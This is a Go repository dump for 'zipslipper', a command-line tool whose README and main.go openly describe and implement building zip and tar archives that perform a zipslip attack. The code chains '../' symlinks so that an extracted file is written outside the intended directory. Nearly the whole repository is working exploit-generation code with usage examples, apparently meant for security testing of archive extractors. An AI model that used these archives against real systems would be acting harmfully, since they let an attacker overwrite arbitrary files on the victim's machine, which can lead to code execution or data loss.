├── .github
└── workflows
│ ├── golangci-lint.yml
│ └── release.yml
├── .gitignore
├── Makefile
├── README.md
├── go.mod
├── go.sum
└── main.go
/.github/workflows/golangci-lint.yml:
--------------------------------------------------------------------------------
1 | name: golangci-lint
2 | on:
3 | push:
4 | branches:
5 | - main
6 | pull_request:
7 |
8 | permissions:
9 | contents: read
10 | pull-requests: read
11 |
12 | jobs:
13 | golangci:
14 | name: lint
15 | runs-on: ubuntu-latest
16 | steps:
17 | - uses: actions/checkout@v4
18 | - uses: actions/setup-go@v5
19 | with:
20 | go-version: stable
21 | - name: golangci-lint
22 | uses: golangci/golangci-lint-action@v6
23 | with:
24 | version: v1.60
--------------------------------------------------------------------------------
/.github/workflows/release.yml:
--------------------------------------------------------------------------------
1 | name: goreleaser
2 |
3 | on:
4 | release:
5 | types: [ published ]
6 |
7 | permissions:
8 | contents: write
9 |
10 | jobs:
11 | goreleaser:
12 | runs-on: ubuntu-latest
13 | steps:
14 | -
15 | name: Checkout
16 | uses: actions/checkout@v4
17 | with:
18 | fetch-depth: 0
19 | -
20 | name: Set up Go
21 | uses: actions/setup-go@v5
22 | -
23 | name: Run GoReleaser
24 | uses: goreleaser/goreleaser-action@v6
25 | with:
26 | distribution: goreleaser
27 | # 'latest', 'nightly', or a semver
28 | version: 'latest'
29 | args: release --clean
30 | env:
31 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # If you prefer the allow list template instead of the deny list, see community template:
2 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore
3 | #
4 | # Binaries for programs and plugins
5 | *.exe
6 | *.exe~
7 | *.dll
8 | *.so
9 | *.dylib
10 |
11 | # Test binary, built with `go test -c`
12 | *.test
13 |
14 | # Output of the go coverage tool, specifically when used with LiteIDE
15 | *.out
16 |
17 | # Dependency directories (remove the comment below to include it)
18 | # vendor/
19 |
20 | # Go workspace file
21 | go.work
22 | go.work.sum
23 |
24 | # env file
25 | .env
26 | zipslipper
27 | *.tar
28 | *.zip
29 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | default: build
2 |
3 | build:
4 | @go build -o zipslipper .
5 |
6 |
7 | install: build
8 | @mv zipslipper $(GOPATH)/bin/zipslipper
9 |
10 | clean:
11 | @go clean
12 | @rm zipslipper
13 |
14 | test:
15 | go test ./...
16 |
17 | test_coverage:
18 | go test ./... -coverprofile=coverage.out
19 |
20 | test_coverage_view:
21 | go test ./... -coverprofile=coverage.out
22 | go tool cover -html=coverage.out
23 |
24 | test_coverage_html:
25 | go test ./... -coverprofile=coverage.out
26 | go tool cover -html=coverage.out -o=coverage.html
27 |
28 | all: build install
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # zipslipper
2 |
3 | Create tar/zip archives that try to exploit zipslip vulnerability.
4 |
5 | ## Usage
6 |
7 | Basic usage on cli:
8 |
9 | ```shell
10 | % zipslipper -h
11 | Usage: zipslipper [flags]
12 |
13 | A utility to build tar/zip archives that performs a zipslip attack.
14 |
15 | Arguments:
16 | Input file.
17 | Relative extraction path.
18 | Output file.
19 |
20 | Flags:
21 | -h, --help Show context-sensitive help.
22 | -t, --archive-type="zip" Archive type. (tar, zip)
23 | -v, --verbose Verbose logging.
24 | -V, --version Print release version information.
25 | ```
26 |
27 | ## Usage example
28 |
29 | ### Zip
30 |
31 | ```shell
32 | (main[2]) ~/git/zipslipper% zipslipper go.mod ../../foo/bar/go.mod test.zip
33 | (main[2]) ~/git/zipslipper% unzip -l test.zip
34 | Archive: test.zip
35 | Length Date Time Name
36 | --------- ---------- ----- ----
37 | 0 09-20-2024 11:01 sub/
38 | 3 09-20-2024 11:01 sub/root
39 | 3 09-20-2024 11:01 sub/root/outside
40 | 3 09-20-2024 11:01 sub/root/outside/0
41 | 3 09-20-2024 11:01 sub/root/outside/0/1
42 | 0 09-20-2024 11:01 sub/root/outside/0/1/foo/
43 | 0 09-20-2024 11:01 sub/root/outside/0/1/foo/bar/
44 | 103 09-20-2024 08:39 sub/root/outside/0/1/foo/bar/go.mod
45 | --------- -------
46 | 115 8 files
47 | ```
48 |
49 | ### Tar
50 |
51 | ```shell
52 | (main[2]) ~/git/zipslipper% zipslipper -t tar go.mod ../../foo/bar/go.mod test.tar
53 | (main[2]) ~/git/zipslipper% tar ztvf test.tar
54 | drwxr-xr-x 0 0 0 0 20 Sep 11:01 sub/
55 | lrwxr-xr-x 0 0 0 0 20 Sep 11:01 sub/root -> ../
56 | lrwxr-xr-x 0 0 0 0 20 Sep 11:01 sub/root/outside -> ../
57 | lrwxr-xr-x 0 0 0 0 20 Sep 11:01 sub/root/outside/0 -> ../
58 | lrwxr-xr-x 0 0 0 0 20 Sep 11:01 sub/root/outside/0/1 -> ../
59 | drwxr-xr-x 0 0 0 0 20 Sep 11:01 sub/root/outside/0/1/foo/
60 | drwxr-xr-x 0 0 0 0 20 Sep 11:01 sub/root/outside/0/1/foo/bar/
61 | -rw-r--r-- 0 jan staff 103 20 Sep 08:39 sub/root/outside/0/1/foo/bar/go.mod
62 | ```
63 |
64 | ## Install
65 |
66 | You can use this library on the command line with the `zipslipper` command.
67 |
68 | ### Pre-build release
69 |
70 | Download a pre-build release for your system architecture from the [release page](https://github.com/NodyHub/zipslipper/releases).
71 |
72 | ### Build via golang toolchain
73 |
74 | ```cli
75 | go install github.com/NodyHub/zipslipper@latest
76 | ```
77 |
78 | ### Manual build and installation
79 |
80 | ```cli
81 | git clone git@github.com:NodyHub/zipslipper.git
82 | cd zipslipper
83 | make
84 | make install
85 | ```
86 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/NodyHub/zipslipper
2 |
3 | go 1.23.1
4 |
5 | require github.com/alecthomas/kong v1.2.1 // indirect
6 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/alecthomas/kong v1.2.1 h1:E8jH4Tsgv6wCRX2nGrdPyHDUCSG83WH2qE4XLACD33Q=
2 | github.com/alecthomas/kong v1.2.1/go.mod h1:rKTSFhbdp3Ryefn8x5MOEprnRFQ7nlmMC01GKhehhBM=
3 |
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "archive/tar"
5 | "archive/zip"
6 | "fmt"
7 | "io"
8 | "log/slog"
9 | "os"
10 | "path"
11 | "path/filepath"
12 | "strings"
13 | "time"
14 |
15 | "github.com/alecthomas/kong"
16 | )
17 |
18 | var (
19 | version = "dev"
20 | commit = "none"
21 | date = "unknown"
22 | )
23 |
24 | var CLI struct {
25 | InputFile string `arg:"" name:"input" help:"Input file."`
26 | RelativePath string `arg:"" name:"relative-path" help:"Relative extraction path."`
27 | Out string `arg:"" name:"output-file" type:"path" help:"Output file."`
28 | ArchiveType string `short:"t" default:"zip" help:"Archive type. (tar, zip)"`
29 | Verbose bool `short:"v" optional:"" help:"Verbose logging."`
30 | Version kong.VersionFlag `short:"V" optional:"" help:"Print release version information."`
31 | }
32 |
33 | func main() {
34 |
35 | // Parse CLI arguments
36 | kong.Parse(&CLI,
37 | kong.Description("A utility to build tar/zip archives that performs a zipslip attack."),
38 | kong.UsageOnError(),
39 | kong.Vars{
40 | "version": fmt.Sprintf("%s (%s), commit %s, built at %s", filepath.Base(os.Args[0]), version, commit, date),
41 | },
42 | )
43 |
44 | // Check for verbose output
45 | logLevel := slog.LevelError
46 | if CLI.Verbose {
47 | logLevel = slog.LevelDebug
48 | }
49 |
50 | // setup logger
51 | logger := slog.New(slog.NewTextHandler(os.Stderr, &slog.HandlerOptions{
52 | Level: logLevel,
53 | }))
54 |
55 | // LOG CLI arguments
56 | logger.Debug("CLI arguments", "CLI", CLI)
57 |
58 | switch CLI.ArchiveType {
59 |
60 | case "zip":
61 | if err := createZip(); err != nil {
62 | logger.Error("failed to create zip archive", "error", err)
63 | os.Exit(1)
64 | }
65 |
66 | case "tar":
67 | if err := createTar(); err != nil {
68 | logger.Error("failed to create tar archive", "error", err)
69 | os.Exit(1)
70 | }
71 |
72 | default:
73 | logger.Error("invalid archive type", "type", CLI.ArchiveType)
74 | os.Exit(1)
75 | }
76 | }
77 |
78 | func createZip() error {
79 |
80 | // create a new zip archive
81 | zipfile, err := os.Create(CLI.Out)
82 | if err != nil {
83 | return fmt.Errorf("failed to create zip file: %s", err)
84 | }
85 | defer func() {
86 | if err := zipfile.Close(); err != nil {
87 | panic(fmt.Errorf("failed to close zip file: %s", err))
88 | }
89 | }()
90 |
91 | // create a new zip writer
92 | zipWriter := zip.NewWriter(zipfile)
93 | defer func() {
94 | if err := zipWriter.Close(); err != nil {
95 | panic(fmt.Errorf("failed to close zip writer: %s", err))
96 | }
97 | }()
98 |
99 | // create basic zip structure
100 | if err := addFolderToZip(zipWriter, "sub/"); err != nil {
101 | return fmt.Errorf("failed to add folder 'sub/' to zip: %s", err)
102 | }
103 | if err := addSymlinkToZip(zipWriter, "sub/root", "../"); err != nil {
104 | return fmt.Errorf("failed to add symlink 'sub/root --> ../' to zip: %s", err)
105 | }
106 | if err := addSymlinkToZip(zipWriter, "sub/root/outside", "../"); err != nil {
107 | return fmt.Errorf("failed to add symlink 'sub/root/outside --> ../' to zip: %s", err)
108 | }
109 |
110 | // check how many traversals are needed
111 | traversals := countPrefixes(CLI.RelativePath, "../")
112 | basePath := "sub/root/outside"
113 | for i := 0; i < traversals; i++ {
114 | basePath = fmt.Sprintf("%s/%v", basePath, i)
115 | if err := addSymlinkToZip(zipWriter, basePath, "../"); err != nil {
116 | return fmt.Errorf("failed to add symlink '%s --> ../' to zip: %s", basePath, err)
117 | }
118 | }
119 |
120 | // prepare the path for the file
121 | parts := strings.Split(CLI.RelativePath[(3*traversals):], "/")
122 | for _, part := range parts[:len(parts)-1] {
123 | basePath = path.Join(basePath, part)
124 | if err := addFolderToZip(zipWriter, basePath); err != nil {
125 | return fmt.Errorf("failed to add folder '%s' to zip: %s", basePath, err)
126 | }
127 | }
128 |
129 | // add the file to the tar archive
130 | filePath := fmt.Sprintf("%s/%s", basePath, parts[len(parts)-1])
131 | if err := addFileToZip(zipWriter, CLI.InputFile, filePath); err != nil {
132 | return fmt.Errorf("failed to add file to zip: %s", err)
133 | }
134 |
135 | return nil
136 | }
137 |
138 | func addFolderToZip(zipWriter *zip.Writer, folder string) error {
139 |
140 | // ensure folder nomenclature
141 | if !strings.HasSuffix(folder, "/") {
142 | folder = folder + "/"
143 | }
144 | zipHeader := &zip.FileHeader{
145 | Name: folder,
146 | Method: zip.Store,
147 | Modified: time.Now(),
148 | }
149 | zipHeader.SetMode(os.ModeDir | 0755)
150 |
151 | if _, err := zipWriter.CreateHeader(zipHeader); err != nil {
152 | return fmt.Errorf("failed to create zip header for directory: %s", err)
153 | }
154 |
155 | return nil
156 | }
157 |
158 | func addFileToZip(zipWriter *zip.Writer, file string, relativePath string) error {
159 |
160 | // open the file
161 | fileReader, err := os.Open(file)
162 | if err != nil {
163 | return fmt.Errorf("failed to open file: %s", err)
164 | }
165 | defer fileReader.Close()
166 |
167 | // stat input
168 | fileInfo, err := fileReader.Stat()
169 | if err != nil {
170 | return fmt.Errorf("failed to stat file: %s", err)
171 | }
172 |
173 | // create a new file header
174 | zipHeader, err := zip.FileInfoHeader(fileInfo)
175 | if err != nil {
176 | return fmt.Errorf("failed to create file header: %s", err)
177 | }
178 |
179 | // set the name of the file
180 | zipHeader.Name = relativePath
181 |
182 | // set the method of compression
183 | zipHeader.Method = zip.Deflate
184 |
185 | // create a new file writer
186 | writer, err := zipWriter.CreateHeader(zipHeader)
187 | if err != nil {
188 | return fmt.Errorf("failed to create zip file header: %s", err)
189 | }
190 |
191 | // write the file to the zip archive
192 | if _, err := io.Copy(writer, fileReader); err != nil {
193 | return fmt.Errorf("failed to write file to zip archive: %s", err)
194 | }
195 |
196 | return nil
197 | }
198 |
199 | func addSymlinkToZip(zipWriter *zip.Writer, symlinkName string, target string) error {
200 |
201 | // create a new file header
202 | zipHeader := &zip.FileHeader{
203 | Name: symlinkName,
204 | Method: zip.Store,
205 | Modified: time.Now(),
206 | }
207 | zipHeader.SetMode(os.ModeSymlink | 0755)
208 |
209 | // create a new file writer
210 | writer, err := zipWriter.CreateHeader(zipHeader)
211 | if err != nil {
212 | return fmt.Errorf("failed to create zip header for symlink %s: %s", symlinkName, err)
213 | }
214 |
215 | // write the symlink to the zip archive
216 | if _, err := writer.Write([]byte(target)); err != nil {
217 | return fmt.Errorf("failed to write symlink target %s to zip archive: %s", target, err)
218 | }
219 |
220 | return nil
221 | }
222 |
223 | func createTar() error {
224 |
225 | // open the output file
226 | tarfile, err := os.Create(CLI.Out)
227 | if err != nil {
228 | return fmt.Errorf("failed to create tar file: %s", err)
229 | }
230 | defer func() {
231 | if err := tarfile.Close(); err != nil {
232 | panic(fmt.Errorf("failed to close tar file: %s", err))
233 | }
234 | }()
235 |
236 | // create a new tar writer
237 | tarWriter := tar.NewWriter(tarfile)
238 | defer func() {
239 | if err := tarWriter.Close(); err != nil {
240 | panic(fmt.Errorf("failed to close tar writer: %s", err))
241 | }
242 | }()
243 |
244 | // create basic tar structure
245 | if err := addFolderToTar(tarWriter, "sub/"); err != nil {
246 | return fmt.Errorf("failed to add folder 'sub/' to tar: %s", err)
247 | }
248 | if err := addSymlinkToTar(tarWriter, "sub/root", "../"); err != nil {
249 | return fmt.Errorf("failed to add symlink 'sub/root --> ../' to tar: %s", err)
250 | }
251 | if err := addSymlinkToTar(tarWriter, "sub/root/outside", "../"); err != nil {
252 | return fmt.Errorf("failed to add symlink 'sub/root/outside --> ../' to tar: %s", err)
253 | }
254 |
255 | // check how many traversals are needed
256 | traversals := countPrefixes(CLI.RelativePath, "../")
257 | basePath := "sub/root/outside"
258 | for i := 0; i < traversals; i++ {
259 | basePath = fmt.Sprintf("%s/%v", basePath, i)
260 | if err := addSymlinkToTar(tarWriter, basePath, "../"); err != nil {
261 | return fmt.Errorf("failed to add symlink '%s --> ../' to tar: %s", basePath, err)
262 | }
263 | }
264 |
265 | // prepare the path for the file
266 | parts := strings.Split(CLI.RelativePath[(3*traversals):], "/")
267 | for _, part := range parts[:len(parts)-1] {
268 | basePath = path.Join(basePath, part)
269 | if err := addFolderToTar(tarWriter, basePath); err != nil {
270 | return fmt.Errorf("failed to add folder '%s' to tar: %s", basePath, err)
271 | }
272 | }
273 |
274 | // add the file to the tar archive
275 | filePath := fmt.Sprintf("%s/%s", basePath, parts[len(parts)-1])
276 | if err := addFileToTar(tarWriter, CLI.InputFile, filePath); err != nil {
277 | return fmt.Errorf("failed to add file to tar: %s", err)
278 | }
279 |
280 | return nil
281 | }
282 |
283 | func countPrefixes(s, prefix string) int {
284 | count := 0
285 | for strings.HasPrefix(s, prefix) {
286 | count++
287 | s = strings.TrimPrefix(s, prefix)
288 | }
289 | return count
290 | }
291 |
292 | func addFolderToTar(tarWriter *tar.Writer, folder string) error {
293 |
294 | // ensure folder nomenclature
295 | if !strings.HasSuffix(folder, "/") {
296 | folder = folder + "/"
297 | }
298 | tarHeader := &tar.Header{
299 | Name: folder,
300 | Mode: 0755,
301 | ModTime: time.Now(),
302 | Typeflag: tar.TypeDir,
303 | }
304 |
305 | if err := tarWriter.WriteHeader(tarHeader); err != nil {
306 | return fmt.Errorf("failed to write tar header for directory: %s", err)
307 | }
308 |
309 | return nil
310 | }
311 |
312 | func addFileToTar(tarWriter *tar.Writer, file string, relativePath string) error {
313 |
314 | // open the file
315 | fileReader, err := os.Open(file)
316 | if err != nil {
317 | return fmt.Errorf("failed to open file: %s", err)
318 | }
319 | defer fileReader.Close()
320 |
321 | // stat input
322 | fileInfo, err := fileReader.Stat()
323 | if err != nil {
324 | return fmt.Errorf("failed to stat file: %s", err)
325 | }
326 |
327 | // create a new file header
328 | tarHeader, err := tar.FileInfoHeader(fileInfo, "")
329 | if err != nil {
330 | return fmt.Errorf("failed to create file header: %s", err)
331 | }
332 |
333 | // set the name of the file
334 | tarHeader.Name = relativePath
335 |
336 | // write the file to the tar archive
337 | if err := tarWriter.WriteHeader(tarHeader); err != nil {
338 | return fmt.Errorf("failed to write file to tar archive: %s", err)
339 | }
340 | if _, err := io.Copy(tarWriter, fileReader); err != nil {
341 | return fmt.Errorf("failed to write file to tar archive: %s", err)
342 | }
343 |
344 | return nil
345 | }
346 |
347 | func addSymlinkToTar(tarWriter *tar.Writer, symlinkName string, target string) error {
348 |
349 | // create a new file header
350 | tarHeader := &tar.Header{
351 | Name: symlinkName,
352 | Mode: 0755,
353 | ModTime: time.Now(),
354 | Typeflag: tar.TypeSymlink,
355 | Linkname: target,
356 | }
357 |
358 | // write the symlink to the tar archive
359 | if err := tarWriter.WriteHeader(tarHeader); err != nil {
360 | return fmt.Errorf("failed to write symlink to tar archive: %s", err)
361 | }
362 |
363 | return nil
364 | }
365 |
--------------------------------------------------------------------------------